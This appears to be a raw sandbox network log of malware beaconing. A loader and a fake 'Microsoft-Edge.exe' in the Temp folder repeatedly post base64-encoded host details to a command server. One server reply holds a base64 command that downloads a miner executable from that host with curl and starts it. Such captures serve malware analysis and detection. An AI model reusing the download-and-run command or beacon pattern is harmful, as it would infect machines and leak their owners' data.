2024-09-27 15:42:22 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:22 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UVJ1J%2B9%2BbvnqxwBjzyYVPYSV7rNvVM%2B1plh5duOw0bpAyWSHO3gzJc231Z%2BzQr2LkVtshwM0M2zRIuODgi8LNTkv3jivHiFLuZs1UCVN51DE2WI3nmNmvJ%2FWilXov3VnbJH%2F3mk8K6K7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a6d5c0fc327-EWR
2024-09-27 15:42:22 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49779	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:23 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:23 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2kmJzY%2FaKXT58af1qB9EDtZ2bq8w692dYEdA74KF1qMoYjsTgfhGkOO81GC1tR2awMJ%2FcEaCnwCSyfq2XTGBpLyu%2BYkzkvsDh3W36906HFwi5LvMptdeadc8y08J6BFeYIuVEBPFNGx5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a747a7342f1-EWR
2024-09-27 15:42:23 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49780	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:23 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:23 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1OtNGi%2F%2BQikQ2oXRg7aZSWiAyJhBKylqiDo%2Bk%2B64xfc1UKjGuQVzHXsrQGBB8pTnJBO46pTiT6gxUHfVddXmPJoUW3DPT%2FUXx6bGoYQvcxvY2JRedMvt0844fEX7xn%2BTfhH0pXd33Xle"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a758a8118c0-EWR alt-svc: h3=":443"; ma=86400
2024-09-27 15:42:23 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49783	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:26 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:26 UTC	632	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yr43LtwcjOvWfR%2FUlW1BnSVuG%2BkT7HdlddHphQqHASU65Lc4xGg%2BctCMXNHDKZSfjkf8Xt%2Fwg1XhzREQUbmo3Ld%2BS5EGg95SgsNZmY%2BnjiVp5PqCE0f6%2F28Wz2%2BqI0ElnefPiCSngwlP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a85ad7e5e73-EWR
2024-09-27 15:42:26 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49782	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:26 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:26 UTC	630	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fOCss7l%2FSb4Zk8oDftSwRIBLB%2BxrrZqMgFD7r3Fty0n7S3B5s5xU%2BmrLxDkEsCs3jygR7q%2FaqKmUSRr6pAJL41Laf%2B1CbEmGnABtPg1rj%2BHirEnQDMkGdn1tHo%2FSWDV5M819WqOdyRLb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a85a8a3437a-EWR
2024-09-27 15:42:26 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49786	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:27 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:27 UTC	630	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NEcFgjg%2FHgbOWO%2F%2FjQ0GWYBiki9ja8VMk%2FQ%2FWDVzXE81A7iDPHD%2BtoBNADhiVQsPc5qDIm2YFDsAr05ZeC%2B3cB5oA6yTPZEanm60dWO9cllXOhtqwNHRCsYEWVH1MA8fwehXru6qLt5z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a8e69024240-EWR
2024-09-27 15:42:27 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49785	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:27 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:27 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XNa4ft4WAex%2Fbv48fSXlqJl8DzVQDr1HmNziFyamaOJZ2ZKOu61OldP2m1KcIysxwrtTFSBEf60%2BRDaVWJ9R3D033YZLz7PyiIFT0GndIe%2Fce3SwPfGz7Fd8h%2BKs6E4W27Vf%2BrI%2FQi9A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a8e8e0dc338-EWR
2024-09-27 15:42:27 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49788	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:28 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:29 UTC	624	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ep2bkGE%2FA3J%2FvLjUzdS%2Bi3TLVyGO0tuyGcDM7Rjint4hcXkqWIEzDWuhntXPp%2FR8r8807GYhaRHxTp2LdZ7qknd5P0T2Z3KSZdn1xEJyJD9PdKJr7e1YmSBhCgp592jEECUgFW6TDKKE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a9689c4de96-EWR
2024-09-27 15:42:29 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49789	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:28 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:29 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FnP2t0Pmix%2B9D%2BCJEWZLLKseaC1SHpsDiuTSLjmEziABka8X1ykI5TJ93UGTxH9MSegcgtv5ULKzfxDmwybIa7kdcv8X1X%2Fo0W3UJddunZh1z1yBiFBCq23FXrRa1IVxazfY%2B7aFS0QK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a968f4072ab-EWR
2024-09-27 15:42:29 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49793	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:30 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:30 UTC	624	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B4e%2FxXDJ03FszpFN5HhdtRqQNbC4AKYhBn9qmMcbWvOFnYHM700Lg81aT2tChbFYgbGB%2FySpyGkd3qKZUV99lbVxh%2Bspv9AWwGfKo5K1AB24QuZw8CaDMXIWaRIzThMRLDx%2Fv3PBbqR5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a9f6fa4c334-EWR
2024-09-27 15:42:30 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49792	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:30 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:30 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WRzeZMkKAJQ1q9WiBIll%2FXLoUy%2FKJE7l7SrwMzoXIyiKnzmFLX3Ua%2FZC6YQZo%2BE8hbD91GJcZDxf0kHv6hWNud2IfW0aXtEPHK0B07Ow%2BecbJMjIU7NamxtgxFOcEJnAimCxT9FW6AlJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a9fd99b0cba-EWR
2024-09-27 15:42:30 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49796	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:31 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:32 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EKusZanvXgMJS6GCXfOlwfpDLJdI63rh7GDg1eGoHz2uokfys3cAJIhoA%2Fy8qnaZZQYtmjWK9Z1LXAq6lGlGg%2FlkDoBS9E6cZYy4eXwlsum%2BcqolK9fT3n2ZwVKTkIrC1DlDU2Vho0a6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9aa84cf8438d-EWR
2024-09-27 15:42:32 UTC	192	IN	Data Raw: 62 61 0d 0a 0a 59 32 51 67 4c 32 51 67 4a 58 52 6c 62 58 41 6c 49 43 59 6d 49 47 52 6c 62 43 42 74 61 57 35 6c 63 6a 49 75 4d 43 35 6c 65 47 55 67 4d 6a 35 75 64 57 77 67 4a 69 59 67 59 33 56 79 62 43 41 74 62 79 42 74 61 57 35 6c 63 6a 49 75 4d 43 35 6c 65 47 55 67 61 48 52 30 63 48 4d 36 4c 79 39 6c 61 57 70 6d 63 6d 68 6c 5a 33 4a 30 59 6e 4a 6d 59 32 51 75 62 32 35 73 61 57 35 6c 4c 32 52 76 64 32 35 73 62 32 46 6b 4c 32 31 70 62 6d 56 79 4d 69 34 77 4c 6d 56 34 5a 53 41 6d 4a 69 42 7a 64 47 46 79 64 43 42 74 61 57 35 6c 63 6a 49 75 4d 43 35 6c 65 47 55 3d 0a 0d 0a Data Ascii: baY2QgL2QgJXRlbXAlICYmIGRlbCBtaW5lcjIuMC5leGUgMj5udWwgJiYgY3VybCAtbyBtaW5lcjIuMC5leGUgaHR0cHM6Ly9laWpmcmhlZ3J0YnJmY2Qub25saW5lL2Rvd25sb2FkL21pbmVyMi4wLmV4ZSAmJiBzdGFydCBtaW5lcjIuMC5leGU=
2024-09-27 15:42:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49795	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
